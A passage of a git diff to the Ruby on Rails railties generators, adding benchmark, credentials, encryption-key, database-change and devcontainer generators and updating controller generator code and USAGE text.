+      IPS_GEM_USED_REGEXP = /gem.*\b#{IPS_GEM_NAME}\b.*/
+
+      argument :reports, type: :array, default: ["before", "after"]
+
+      def generate_layout
+        add_ips_to_gemfile unless ips_installed?
+        template("benchmark.rb.tt", "script/benchmarks/#{file_name}.rb")
+      end
+
+    private
+      def add_ips_to_gemfile
+        gem(IPS_GEM_NAME, group: [:development, :test])
+      end
+
+      def ips_installed?
+        in_root do
+          return File.read("Gemfile").match?(IPS_GEM_USED_REGEXP)
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/benchmark/templates/benchmark.rb.tt b/railties/lib/rails/generators/rails/benchmark/templates/benchmark.rb.tt
new file mode 100644
index 0000000000000..9339e92f584c1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/benchmark/templates/benchmark.rb.tt
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require_relative "../../config/environment"
+
+# Any benchmarking setup goes here...
+
+Benchmark.ips do |x|
+<%- reports.each do |report| -%>
+  x.report("<%= report %>") { }
+<%- end -%>
+
+  x.compare!
+end
diff --git a/railties/lib/rails/generators/rails/controller/USAGE b/railties/lib/rails/generators/rails/controller/USAGE
index 64239ad599b64..9b65e2359ed38 100644
--- a/railties/lib/rails/generators/rails/controller/USAGE
+++ b/railties/lib/rails/generators/rails/controller/USAGE
@@ -1,6 +1,6 @@
 Description:
-    Stubs out a new controller and its views. Pass the controller name, either
-    CamelCased or under_scored, and a list of views as arguments.
+    Generates a new controller and its views. Pass the controller name, either
+    CamelCased or under_scored, and a list of actions as arguments.
 
     To create a controller within a module, specify the controller name as a
     path like 'parent_module/controller_name'.
@@ -8,11 +8,19 @@ Description:
     This generates a controller class in app/controllers and invokes helper,
     template engine, assets, and test framework generators.
 
-Example:
-    `rails generate controller CreditCards open debit credit close`
+Examples:
+    `bin/rails generate controller credit_cards open debit credit close`
 
-    CreditCards controller with URLs like /credit_cards/debit.
+    This generates a `CreditCardsController` with routes like /credit_cards/debit.
         Controller: app/controllers/credit_cards_controller.rb
         Test:       test/controllers/credit_cards_controller_test.rb
         Views:      app/views/credit_cards/debit.html.erb [...]
         Helper:     app/helpers/credit_cards_helper.rb
+
+    `bin/rails generate controller users index --skip-routes`
+
+    This generates a `UsersController` with an index action and no routes.
+
+    `bin/rails generate controller admin/dashboard --parent=admin_controller`
+
+    This generates a `Admin::DashboardController` with an `AdminController` parent class.
diff --git a/railties/lib/rails/generators/rails/controller/controller_generator.rb b/railties/lib/rails/generators/rails/controller/controller_generator.rb
index 06bdb8b5cefbc..5d4f58353360a 100644
--- a/railties/lib/rails/generators/rails/controller/controller_generator.rb
+++ b/railties/lib/rails/generators/rails/controller/controller_generator.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 module Rails
   module Generators
     class ControllerGenerator < NamedBase # :nodoc:
       argument :actions, type: :array, default: [], banner: "action action"
       class_option :skip_routes, type: :boolean, desc: "Don't add routes to config/routes.rb."
       class_option :helper, type: :boolean
-      class_option :assets, type: :boolean
+      class_option :parent, type: :string, default: "ApplicationController", desc: "The parent class for the generated controller"
 
       check_class_collision suffix: "Controller"
 
@@ -13,51 +15,27 @@ def create_controller_files
       end
 
       def add_routes
-        unless options[:skip_routes]
-          actions.reverse_each do |action|
-            # route prepends two spaces onto the front of the string that is passed, this corrects that.
-            route indent(generate_routing_code(action), 2)[2..-1]
-          end
-        end
+        return if options[:skip_routes]
+        return if actions.empty?
+        routing_code = actions.map { |action| %(get "#{file_name}/#{action}") }.join("\n")
+        route routing_code, namespace: regular_class_path
       end
 
-      hook_for :template_engine, :test_framework, :helper, :assets
+      hook_for :template_engine, :test_framework, :helper do |generator|
+        invoke generator, [ remove_possible_suffix(name), actions ]
+      end
 
       private
+        def parent_class_name
+          options[:parent]
+        end
 
-        # This method creates nested route entry for namespaced resources.
-        # For eg. rails g controller foo/bar/baz index
-        # Will generate -
-        # namespace :foo do
-        #   namespace :bar do
-        #     get 'baz/index'
-        #   end
-        # end
-        def generate_routing_code(action)
-          depth = 0
-          lines = []
-
-          # Create 'namespace' ladder
-          # namespace :foo do
-          #   namespace :bar do
-          regular_class_path.each do |ns|
-            lines << indent("namespace :#{ns} do\n", depth * 2)
-            depth += 1
-          end
-
-          # Create route
-          #     get 'baz/index'
-          lines << indent(%{get '#{file_name}/#{action}'\n}, depth * 2)
-
-          # Create `end` ladder
-          #   end
-          # end
-          until depth.zero?
-            depth -= 1
-            lines << indent("end\n", depth * 2)
-          end
+        def file_name
+          @_file_name ||= remove_possible_suffix(super)
+        end
 
-          lines.join
+        def remove_possible_suffix(name)
+          name.sub(/_?controller$/i, "")
         end
     end
   end
diff --git a/railties/lib/rails/generators/rails/controller/templates/controller.rb b/railties/lib/rails/generators/rails/controller/templates/controller.rb
deleted file mode 100644
index 633e0b3177208..0000000000000
--- a/railties/lib/rails/generators/rails/controller/templates/controller.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-<% if namespaced? -%>
-require_dependency "<%= namespaced_path %>/application_controller"
-
-<% end -%>
-<% module_namespacing do -%>
-class <%= class_name %>Controller < ApplicationController
-<% actions.each do |action| -%>
-  def <%= action %>
-  end
-<%= "\n" unless action == actions.last -%>
-<% end -%>
-end
-<% end -%>
diff --git a/railties/lib/rails/generators/rails/controller/templates/controller.rb.tt b/railties/lib/rails/generators/rails/controller/templates/controller.rb.tt
new file mode 100644
index 0000000000000..6e62c69422a82
--- /dev/null
+++ b/railties/lib/rails/generators/rails/controller/templates/controller.rb.tt
@@ -0,0 +1,9 @@
+<% module_namespacing do -%>
+class <%= class_name %>Controller < <%= parent_class_name.classify %>
+<% actions.each do |action| -%>
+  def <%= action %>
+  end
+<%= "\n" unless action == actions.last -%>
+<% end -%>
+end
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/credentials/credentials_generator.rb b/railties/lib/rails/generators/rails/credentials/credentials_generator.rb
new file mode 100644
index 0000000000000..a94e1b7f398f8
--- /dev/null
+++ b/railties/lib/rails/generators/rails/credentials/credentials_generator.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require "rails/generators/base"
+require "rails/generators/rails/master_key/master_key_generator"
+require "active_support/encrypted_configuration"
+
+module Rails
+  module Generators
+    class CredentialsGenerator < Base # :nodoc:
+      argument :content_path, default: "config/credentials.yml.enc"
+      argument :key_path, default: "config/master.key"
+      class_option :skip_secret_key_base, type: :boolean
+
+      def add_credentials_file
+        in_root do
+          return if File.exist?(content_path)
+
+          say "Adding #{content_path} to store encrypted credentials."
+          say ""
+
+          content = render_template_to_encrypted_file
+
+          say "The following content has been encrypted with the Rails master key:"
+          say ""
+          say content, :on_green
+          say ""
+          say "You can edit encrypted credentials with `bin/rails credentials:edit`."
+          say ""
+        end
+      end
+
+      private
+        def encrypted_file
+          ActiveSupport::EncryptedConfiguration.new(
+            config_path: content_path,
+            key_path: key_path,
+            env_key: "RAILS_MASTER_KEY",
+            raise_if_missing_key: true
+          )
+        end
+
+        def secret_key_base
+          @secret_key_base ||= SecureRandom.hex(64)
+        end
+
+        def render_template_to_encrypted_file
+          empty_directory File.dirname(content_path)
+
+          content = nil
+
+          encrypted_file.change do |tmp_path|
+            template("credentials.yml", tmp_path, force: true, verbose: false) do |rendered|
+              content = rendered
+            end
+          end
+
+          content
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/credentials/templates/credentials.yml.tt b/railties/lib/rails/generators/rails/credentials/templates/credentials.yml.tt
new file mode 100644
index 0000000000000..da2b11f37f0ae
--- /dev/null
+++ b/railties/lib/rails/generators/rails/credentials/templates/credentials.yml.tt
@@ -0,0 +1,12 @@
+# smtp:
+#   user_name: my-smtp-user
+#   password: my-smtp-password
+#
+# aws:
+#   access_key_id: 123
+#   secret_access_key: 345
+<% unless options.skip_secret_key_base? -%>
+
+# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
+secret_key_base: <%= secret_key_base %>
+<% end -%>
diff --git a/railties/lib/rails/generators/rails/db/system/change/change_generator.rb b/railties/lib/rails/generators/rails/db/system/change/change_generator.rb
new file mode 100644
index 0000000000000..e02c59a31d6f1
--- /dev/null
+++ b/railties/lib/rails/generators/rails/db/system/change/change_generator.rb
@@ -0,0 +1,206 @@
+# frozen_string_literal: true
+
+require "rails/generators/base"
+require "yaml"
+require "json"
+
+module Rails
+  module Generators
+    module Db
+      module System
+        class ChangeGenerator < Base # :nodoc:
+          include AppName
+
+          BASE_PACKAGES = %w( curl libjemalloc2 libvips )
+          BUILD_PACKAGES = %w( build-essential git )
+
+          class_option :to, required: true,
+            desc: "The database system to switch to."
+
+          def self.default_generator_root
+            path = File.expand_path(File.join(base_name, "app"), base_root)
+            path if File.exist?(path)
+          end
+
+          def initialize(*)
+            super
+
+            unless Database::DATABASES.include?(options[:to])
+              raise Error, "Invalid value for --to option. Supported preconfigurations are: #{Database::DATABASES.join(", ")}."
+            end
+
+            opt = options.dup
+            opt[:database] ||= opt[:to]
+            self.options = opt.freeze
+          end
+
+          def edit_database_config
+            template(database.template, "config/database.yml")
+          end
+
+          def edit_gemfile
+            name, version = database.gem
+            gsub_file("Gemfile", all_database_gems_regex, name)
+            gsub_file("Gemfile", gem_entry_regex_for(name), gem_entry_for(name, *version))
+          end
+
+          def edit_dockerfile
+            dockerfile_path = File.expand_path("Dockerfile", destination_root)
+            return unless File.exist?(dockerfile_path)
+
+            gsub_file("Dockerfile", all_docker_bases_regex, docker_base_packages(database.base_package))
+            gsub_file("Dockerfile", all_docker_builds_regex, docker_build_packages(database.build_package))
+          end
+
+          def edit_devcontainer_files
+            return unless devcontainer?
+
+            edit_devcontainer_json
+            edit_compose_yaml
+          end
+
+          private
+            def all_database_gems
+              Database.all.map { |database| database.gem }
+            end
+
+            def all_docker_bases
+              Database.all.map { |database| docker_base_packages(database.base_package) }.uniq
+            end
+
+            def docker_base_packages(database_package)
+              if database_package
+                [database_package].concat(BASE_PACKAGES).sort
+              else
+                BASE_PACKAGES
+              end.join("\s")
+            end
+
+            def all_docker_builds
+              Database.all.map { |database| docker_build_packages(database.build_package) }.uniq
+            end
+
+            def docker_build_packages(database_package)
+              if database_package
+                [database_package].concat(BUILD_PACKAGES).sort
+              else
+                BUILD_PACKAGES
+              end.join("\s")
+            end
+
+            def all_database_gems_regex
+              all_database_gem_names = all_database_gems.map(&:first)
+              /(\b#{all_database_gem_names.join('\b|\b')}\b)/
+            end
+
+            def all_docker_bases_regex
+              /(\b#{all_docker_bases.join('\b|\b')}\b)/
+            end
+
+            def all_docker_builds_regex
+              /(\b#{all_docker_builds.join('\b|\b')}\b)/
+            end
+
+            def gem_entry_regex_for(gem_name)
+              /^gem.*\b#{gem_name}\b.*/
+            end
+
+            def gem_entry_for(*gem_name_and_version)
+              gem_name_and_version.map! { |segment| "\"#{segment}\"" }
+              "gem #{gem_name_and_version.join(", ")}"
+            end
+
+            def edit_devcontainer_json
+              return unless devcontainer_json
+
+              update_devcontainer_db_host
+              update_devcontainer_db_feature
+            end
+
+            def edit_compose_yaml
+              compose_yaml_path = File.expand_path(".devcontainer/compose.yaml", destination_root)
+              return unless File.exist?(compose_yaml_path)
+
+              compose_config = YAML.load_file(compose_yaml_path)
+
+              Database.all.each do |database|
+                compose_config["services"].delete(database.name)
+                compose_config["volumes"]&.delete(database.volume)
+                compose_config["services"]["rails-app"]["depends_on"]&.delete(database.name)
+              end
+
+              if database.service
+                compose_config["services"][database.name] = database.service
+                compose_config["volumes"] = { database.volume => nil }.merge(compose_config["volumes"] || {})
+                compose_config["services"]["rails-app"]["depends_on"] = [
+                  database.name,
+                  compose_config["services"]["rails-app"]["depends_on"]
+                ].flatten.compact
+              end
+
+              compose_config.delete("volumes") unless compose_config["volumes"]&.any?
+              compose_config["services"]["rails-app"].delete("depends_on") unless compose_config["services"]["rails-app"]["depends_on"]&.any?
+
+              File.write(compose_yaml_path, compose_config.to_yaml)
+            end
+
+            def update_devcontainer_db_host
+              container_env = devcontainer_json["containerEnv"]
+              db_name = database.name
+
+              if container_env["DB_HOST"]
+                if database.service
+                  container_env["DB_HOST"] = db_name
+                else
+                  container_env.delete("DB_HOST")
+                end
+              else
+                if database.service
+                  container_env["DB_HOST"] = db_name
+                end
+              end
+
+              new_json = JSON.pretty_generate(container_env, indent: "  ", object_nl: "\n  ")
+
+              gsub_file(".devcontainer/devcontainer.json", /("containerEnv"\s*:\s*)(.|\n)*?(^\s{2}})/, "\\1#{new_json}")
+            end
+
+            def update_devcontainer_db_feature
+              features = devcontainer_json["features"]
+              db_feature = database.feature
+
+              Database.all.each do |database|
+                features.delete(database.feature_name)
+              end
+
+              features.merge!(db_feature) if db_feature
+
+              new_json = JSON.pretty_generate(features, indent: "  ", object_nl: "\n  ")
+
+              gsub_file(".devcontainer/devcontainer.json", /("features"\s*:\s*)(.|\n)*?(^\s{2}})/, "\\1#{new_json}")
+            end
+
+            def devcontainer_json
+              return unless File.exist?(devcontainer_json_path)
+
+              @devcontainer_json ||= JSON.parse(File.read(devcontainer_json_path))
+            end
+
+            def devcontainer_json_path
+              File.expand_path(".devcontainer/devcontainer.json", destination_root)
+            end
+
+            def database
+              @database ||= Database.build(options[:database])
+            end
+
+            def devcontainer?
+              return @devcontainer if defined?(@devcontainer)
+
+              @devcontainer = File.exist?(File.expand_path(".devcontainer", destination_root))
+            end
+        end
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/devcontainer/devcontainer_generator.rb b/railties/lib/rails/generators/rails/devcontainer/devcontainer_generator.rb
new file mode 100644
index 0000000000000..35fa485d484f5
--- /dev/null
+++ b/railties/lib/rails/generators/rails/devcontainer/devcontainer_generator.rb
@@ -0,0 +1,183 @@
+# frozen_string_literal: true
+
+require "rails/generators"
+
+module Rails
+  module Generators
+    class DevcontainerGenerator < Base # :nodoc:
+      class_option :app_name, type: :string, default: "rails_app",
+                   desc: "Name of the app"
+
+      class_option :app_folder, type: :string, default: nil,
+                   desc: "The folder name where the app is generated"
+
+      class_option :database, enum: Database::DATABASES, type: :string, default: "sqlite3",
+                   desc: "Include configuration for selected database"
+
+      class_option :redis, type: :boolean, default: true,
+                   desc: "Include configuration for Redis"
+
+      class_option :system_test, type: :boolean, default: true,
+                   desc: "Include configuration for System Tests"
+
+      class_option :active_storage, type: :boolean, default: true,
+                   desc: "Include configuration for Active Storage"
+
+      class_option :node, type: :boolean, default: false,
+                   desc: "Include configuration for Node"
+
+      class_option :dev, type: :boolean, default: false,
+                    desc: "For applications pointing to a local Rails checkout"
+
+      class_option :kamal, type: :boolean, default: true,
+                    desc: "Include configuration for Kamal"
+
+      class_option :skip_solid, type: :boolean, default: nil,
+                    desc: "Skip Solid Cache, Queue, and Cable setup"
+
+      source_paths << File.expand_path(File.join(base_name, "app", "templates"), base_root)
+
+      def create_devcontainer
+        empty_directory ".devcontainer"
+
+        template "devcontainer/devcontainer.json", ".devcontainer/devcontainer.json"
+        template "devcontainer/Dockerfile", ".devcontainer/Dockerfile"
+        template "devcontainer/compose.yaml", ".devcontainer/compose.yaml"
+      end
+
+      def update_application_system_test_case
+        return unless options[:system_test]
+
+        system_test_case_path = File.expand_path "test/application_system_test_case.rb", destination_root
+        return unless File.exist? system_test_case_path
+
+        gsub_file(system_test_case_path, /^\s*driven_by\b.*/, system_test_configuration)
+      end
+
+      def update_database_yml
+        # Only postgresql has devcontainer specific configuration, so only update database.yml if we are using postgres
+        return unless options[:database] == "postgresql"
+
+        template("config/databases/#{options[:database]}.yml", "config/database.yml")
+      end
+
+      private
+        def devcontainer?
+          true
+        end
+
+        def app_name
+          options[:app_name]
+        end
+
+        def app_folder
+          options[:app_folder] || app_name
+        end
+
+        def dependencies
+          return @dependencies if @dependencies
+
+          @dependencies = []
+
+          @dependencies << "selenium" if options[:system_test]
+          @dependencies << "redis" if options[:redis]
+          @dependencies << database.name if database.service
+          @dependencies
+        end
+
+        def container_env
+          return @container_env if @container_env
+
+          @container_env = {}
+
+          @container_env["CAPYBARA_SERVER_PORT"] = "45678" if options[:system_test]
+          @container_env["SELENIUM_HOST"] = "selenium" if options[:system_test]
+          @container_env["REDIS_URL"] = "redis://redis:6379/1" if options[:redis]
+          @container_env["KAMAL_REGISTRY_PASSWORD"] = "$KAMAL_REGISTRY_PASSWORD" if options[:kamal]
+          @container_env["DB_HOST"] = database.name if database.service
+
+          @container_env
+        end
+
+        def volumes
+          return @volumes if @volumes
+
+          @volumes = []
+
+          @volumes << "redis-data" if options[:redis]
+          @volumes << database.volume if database.volume
+
+          @volumes
+        end
+
+        def features
+          return @features if @features
+
+          @features = {
+            "ghcr.io/devcontainers/features/github-cli:1" => {}
+          }
+
+          @features["ghcr.io/rails/devcontainer/features/activestorage"] = {} if options[:active_storage]
+          @features["ghcr.io/devcontainers/features/node:1"] = {} if options[:node]
+          @features["ghcr.io/devcontainers/features/docker-outside-of-docker:1"] = { moby: false } if options[:kamal]
+
+          @features.merge!(database.feature) if database.feature
+
+          @features
+        end
+
+        def mounts
+          return @mounts if @mounts
+
+          @mounts = []
+
+          @mounts << local_rails_mount if options[:dev]
+
+          @mounts
+        end
+
+        def forward_ports
+          return @forward_ports if @forward_ports
+
+          @forward_ports = [3000]
+          @forward_ports << database.port if database.port
+          @forward_ports << 6379 if options[:redis]
+
+          @forward_ports
+        end
+
+        def database
+          @database ||= Database.build(options[:database])
+        end
+
+        def devcontainer_db_service_yaml(**options)
+          return unless service = database.service
+
+          { database.name => service }.to_yaml(**options)[4..-1]
+        end
+
+        def local_rails_mount
+          {
+            type: "bind",
+            source: Rails::Generators::RAILS_DEV_PATH,
+            target: Rails::Generators::RAILS_DEV_PATH
+          }
+        end
+
+        def system_test_configuration
+          optimize_indentation(<<-'RUBY', 2).chomp
+            if ENV["CAPYBARA_SERVER_PORT"]
+              served_by host: "rails-app", port: ENV["CAPYBARA_SERVER_PORT"]
+
+              driven_by :selenium, using: :headless_chrome, screen_size: [ 1400, 1400 ], options: {
+                browser: :remote,
+                url: "http://#{ENV["SELENIUM_HOST"]}:4444"
+              }
+            else
+              driven_by :selenium, using: :headless_chrome, screen_size: [ 1400, 1400 ]
+            end
+          RUBY
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/devcontainer/templates/devcontainer/Dockerfile.tt b/railties/lib/rails/generators/rails/devcontainer/templates/devcontainer/Dockerfile.tt
new file mode 100644
index 0000000000000..6f7b78520d942
--- /dev/null
+++ b/railties/lib/rails/generators/rails/devcontainer/templates/devcontainer/Dockerfile.tt
@@ -0,0 +1,7 @@
+# Make sure RUBY_VERSION matches the Ruby version in .ruby-version
+ARG RUBY_VERSION=<%= Gem.ruby_version %>
+FROM ghcr.io/rails/devcontainer/images/ruby:$RUBY_VERSION
+
+# Ensure binding is always 0.0.0.0
+# Binds the server to all IP addresses of the container, so it can be accessed from outside the container.
+ENV BINDING="0.0.0.0"
diff --git a/railties/lib/rails/generators/rails/devcontainer/templates/devcontainer/compose.yaml.tt b/railties/lib/rails/generators/rails/devcontainer/templates/devcontainer/compose.yaml.tt
new file mode 100644
index 0000000000000..4233f70dfc946
--- /dev/null
+++ b/railties/lib/rails/generators/rails/devcontainer/templates/devcontainer/compose.yaml.tt
@@ -0,0 +1,47 @@
+name: "<%= options[:app_name] %>"
+
+services:
+  rails-app:
+    build:
+      context: ..
+      dockerfile: .devcontainer/Dockerfile
+
+    volumes:
+    - ../../<%= app_folder %>:/workspaces/<%= app_folder %>:cached
+
+    # Overrides default command so things don't shut down after the process ends.
+    command: sleep infinity
+
+    # Uncomment the next line to use a non-root user for all processes.
+    # user: vscode
+
+    # Use "forwardPorts" in **devcontainer.json** to forward an app port locally.
+    # (Adding the "ports" property to this file will not forward from a Codespace.)
+<%- if !dependencies.empty? -%>
+    depends_on:
+<%- dependencies.each do |dependency| -%>
+    - <%= dependency %>
+<%- end -%>
+<%- end -%>
+<%- if options[:system_test] -%>
+
+  selenium:
+    image: selenium/standalone-chromium
+    restart: unless-stopped
+<%- end -%>
+
+<%- if options[:redis] -%>
+  redis:
+    image: valkey/valkey:8
+    restart: unless-stopped
+    volumes:
+    - redis-data:/data
+
+<%- end -%>
+  <%= devcontainer_db_service_yaml(indentation: 4) %>
+<%- if !volumes.empty? -%>
+volumes:
+<%- volumes.each do |volume| -%>
+  <%= volume %>:
+<%- end -%>
+<%- end -%>
diff --git a/railties/lib/rails/generators/rails/devcontainer/templates/devcontainer/devcontainer.json.tt b/railties/lib/rails/generators/rails/devcontainer/templates/devcontainer/devcontainer.json.tt
new file mode 100644
index 0000000000000..f76fbbe100cac
--- /dev/null
+++ b/railties/lib/rails/generators/rails/devcontainer/templates/devcontainer/devcontainer.json.tt
@@ -0,0 +1,37 @@
+// For format details, see https://containers.dev/implementors/json_reference/.
+// For config options, see the README at: https://github.com/devcontainers/templates/tree/main/src/ruby
+{
+  "name": "<%= options[:app_name] %>",
+  "dockerComposeFile": "compose.yaml",
+  "service": "rails-app",
+  "workspaceFolder": "/workspaces/${localWorkspaceFolderBasename}",
+
+  // Features to add to the dev container. More info: https://containers.dev/features.
+  "features": {
+    <%= features.map { |key, value| "\"#{key}\": #{value.to_json}" }.join(",\n    ") %>
+  },
+
+<%- if !container_env.empty? -%>
+  "containerEnv": {
+    <%= container_env.map { |key, value| "\"#{key}\": \"#{value}\"" }.join(",\n    ") %>
+  },
+<%- end -%>
+
+  // Use 'forwardPorts' to make a list of ports inside the container available locally.
+  "forwardPorts": <%= forward_ports.as_json %>,
+
+  // Configure tool-specific properties.
+  // "customizations": {},
+
+  // Uncomment to connect as root instead. More info: https://containers.dev/implementors/json_reference/#remoteUser.
+  // "remoteUser": "root",
+
+<%- if !mounts.empty? -%>
+  "mounts": [
+    <%= mounts.map { |mount| "{\n      " + mount.map { |key, value| "\"#{key}\": \"#{value}\"" }.join(",\n      ") + "\n    }" }.join(",\n    ") %>
+  ],
+<%- end -%>
+
+  // Use 'postCreateCommand' to run commands after the container is created.
+  "postCreateCommand": "bin/setup --skip-server"
+}
diff --git a/railties/lib/rails/generators/rails/encrypted_file/encrypted_file_generator.rb b/railties/lib/rails/generators/rails/encrypted_file/encrypted_file_generator.rb
new file mode 100644
index 0000000000000..145df4aa46e5c
--- /dev/null
+++ b/railties/lib/rails/generators/rails/encrypted_file/encrypted_file_generator.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require "rails/generators/base"
+require "active_support/encrypted_file"
+
+module Rails
+  module Generators
+    class EncryptedFileGenerator < Base # :nodoc:
+      def add_encrypted_file_silently(file_path, key_path, template = encrypted_file_template)
+        unless File.exist?(file_path)
+          ActiveSupport::EncryptedFile.new(
+            content_path: file_path,
+            key_path: key_path,
+            env_key: "RAILS_MASTER_KEY",
+            raise_if_missing_key: true
+          ).write(template)
+        end
+      end
+
+      private
+        def encrypted_file_template
+          <<~YAML
+            # aws:
+            #   access_key_id: 123
+            #   secret_access_key: 345
+
+          YAML
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/encryption_key_file/encryption_key_file_generator.rb b/railties/lib/rails/generators/rails/encryption_key_file/encryption_key_file_generator.rb
new file mode 100644
index 0000000000000..4ae465e111047
--- /dev/null
+++ b/railties/lib/rails/generators/rails/encryption_key_file/encryption_key_file_generator.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+require "pathname"
+require "rails/generators/base"
+require "active_support/encrypted_file"
+
+module Rails
+  module Generators
+    class EncryptionKeyFileGenerator < Base # :nodoc:
+      def add_key_file(key_path)
+        key_path = Pathname.new(key_path)
+
+        unless key_path.exist?
+          key = ActiveSupport::EncryptedFile.generate_key
+
+          log "Adding #{key_path} to store the encryption key: #{key}"
+          log ""
+          log "Save this in a password manager your team can access."
+          log ""
+          log "If you lose the key, no one, including you, can access anything encrypted with it."
+
+          log ""
+          add_key_file_silently(key_path, key)
+          ensure_key_files_are_ignored(key_path)
+          log ""
+        end
+      end
+
+      def add_key_file_silently(key_path, key = nil)
+        create_file key_path, key || ActiveSupport::EncryptedFile.generate_key, perm: 0600
+        ensure_key_files_are_ignored_silently(key_path)
+      end
+
+      def ensure_key_files_are_ignored(key_path, ignore: key_ignore(key_path))
+        if File.exist?(".gitignore")
+          unless File.read(".gitignore").include?(ignore)
+            log "Ignoring #{ignore} so it won't end up in Git history:"
+            log ""
+            append_to_file ".gitignore", ignore
+            log ""
+          end
+        else
+          log "IMPORTANT: Don't commit #{key_path}. Add this to your ignore file:"
+          log ignore, :on_green
+          log ""
+        end
+      end
+
+      def ensure_key_files_are_ignored_silently(key_path, ignore: key_ignore(key_path))
+        if File.exist?(".gitignore")
+          unless File.read(".gitignore").include?(ignore)
+            append_to_file ".gitignore", ignore
+          end
+        end
+      end
+
+      private
+        def key_ignore(key_path)
+          key_path = Pathname.new(key_path) unless key_path.is_a?(Pathname)
+          <<~IGNORE
+
+            # Ignore key files for decrypting credentials and more.
+            /#{key_path.dirname.join("*.key")}
+
+          IGNORE
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/generators/rails/generator/USAGE b/railties/lib/rails/generators/rails/generator/USAGE
index 799383050cf39..e17fa602fa41b 100644
--- a/railties/lib/rails/generators/rails/generator/USAGE
+++ b/railties/lib/rails/generators/rails/generator/USAGE
@@ -1,9 +1,9 @@
 Description:
-    Stubs out a new generator at lib/generators. Pass the generator name as an argument,
+    Generates a new generator at lib/generators. Pass the generator name as an argument,
     either CamelCased or snake_cased.
 
 Example:
-    `rails generate generator Awesome`
+    `bin/rails generate generator Awesome`
 
     creates a standard awesome generator:
         lib/generators/awesome/
diff --git a/railties/lib/rails/generators/rails/generator/generator_generator.rb b/railties/lib/rails/generators/rails/generator/generator_generator.rb
index 299a7da5f10c9..b0146641b437b 100644
--- a/railties/lib/rails/generators/rails/generator/generator_generator.rb
+++ b/railties/lib/rails/generators/rails/generator/generator_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Rails
   module Generators
     class GeneratorGenerator < NamedBase # :nodoc:
@@ -13,7 +15,6 @@ def create_generator_files
       hook_for :test_framework
 
       private
-
         def generator_dir
           if options[:namespace]
             File.join("lib", "generators", regular_class_path, file_name)
diff --git a/railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt b/railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt
index d0575772bc93f..766bd3f3816f2 100644
--- a/railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt
+++ b/railties/lib/rails/generators/rails/generator/templates/%file_name%_generator.rb.tt
@@ -1,3 +1,3 @@
 class <%= class_name %>Generator < Rails::Generators::NamedBase
-  source_root File.expand_path('../templates', __FILE__)
+  source_root File.expand_path("templates", __dir__)
 end
diff --git a/railties/lib/rails/generators/rails/generator/templates/USAGE.tt b/railties/lib/rails/generators/rails/generator/templates/USAGE.tt
index 1bb8df840df29..ebdd2a94a9070 100644
--- a/railties/lib/rails/generators/rails/generator/templates/USAGE.tt
+++ b/railties/lib/rails/generators/rails/generator/templates/USAGE.tt
@@ -2,7 +2,7 @@ Description:
     Explain the generator
 
 Example:
-    rails generate <%= file_name %> Thing
+    bin/rails generate <%= file_name %> Thing
 
     This will create:
         what/will/it/create
diff --git a/railties/lib/rails/generators/rails/helper/USAGE b/railties/lib/rails/generators/rails/helper/USAGE
index 8855ef3b01522..530986cd37235 100644
--- a/railties/lib/rails/generators/rails/helper/USAGE
+++ b/railties/lib/rails/generators/rails/helper/USAGE
@@ -1,13 +1,12 @@
 Description:
-    Stubs out a new helper. Pass the helper name, either CamelCased
+    Generates a new helper. Pass the helper name, either CamelCased
     or under_scored.
 
     To create a helper within a module, specify the helper name as a
     path like 'parent_module/helper_name'.
 
 Example:
-    `rails generate helper CreditCard`
+    `bin/rails generate helper CreditCard`
 
     Credit card helper.
         Helper:     app/helpers/credit_card_helper.rb
-
diff --git a/railties/lib/rails/generators/rails/helper/helper_generator.rb b/railties/lib/rails/generators/rails/helper/helper_generator.rb
index e48b1b6fb3ecd..542eb4c9e8a30 100644
--- a/railties/lib/rails/generators/rails/helper/helper_generator.rb
+++ b/railties/lib/rails/generators/rails/helper/helper_generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module Rails
   module Generators
     class HelperGenerator < NamedBase # :nodoc:
@@ -8,6 +10,11 @@ def create_helper_files
       end
 
       hook_for :test_framework
+
+      private
+        def file_name
+          @_file_name ||= super.sub(/_helper\z/i, "")
+        end
     end
   end
 end
diff --git a/railties/lib/rails/generators/rails/helper/templates/helper.rb b/railties/lib/rails/generators/rails/helper/templates/helper.rb.tt
similarity index 100%
rename from railties/lib/rails/generators/rails/helper/templates/helper.rb
rename to railties/lib/rails/generators/rails/helper/templates/helper.rb.tt
diff --git a/railties/lib/rails/generators/rails/integration_test/USAGE b/railties/lib/rails/generators/rails/integration_test/USAGE
index 57ee3543e6654..e5ef334f0e8a5 100644
--- a/railties/lib/rails/generators/rails/integration_test/USAGE
+++ b/railties/lib/rails/generators/rails/integration_test/USAGE
@@ -1,10 +1,10 @@
 Description:
-    Stubs out a new integration test. Pass the name of the test, either
+    Generates a new integration test. Pass the name of the test, either
     CamelCased or under_scored, as an argument.
 
     This generator invokes the current integration tool, which defaults to
     TestUnit.
 
 Example:
-    `rails generate integration_test GeneralStories` creates a GeneralStories
+    `bin/rails generate integration_test GeneralStories` creates a GeneralStories
     integration test in test/integration/general_stories_test.rb
diff --git a/railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb b/railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb
index 70770ddcb805f..975dd8b90c1fd 100644
--- a/railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb
+++ b/railties/lib/rails/generators/rails/integration_test/integration_test_generator.rb
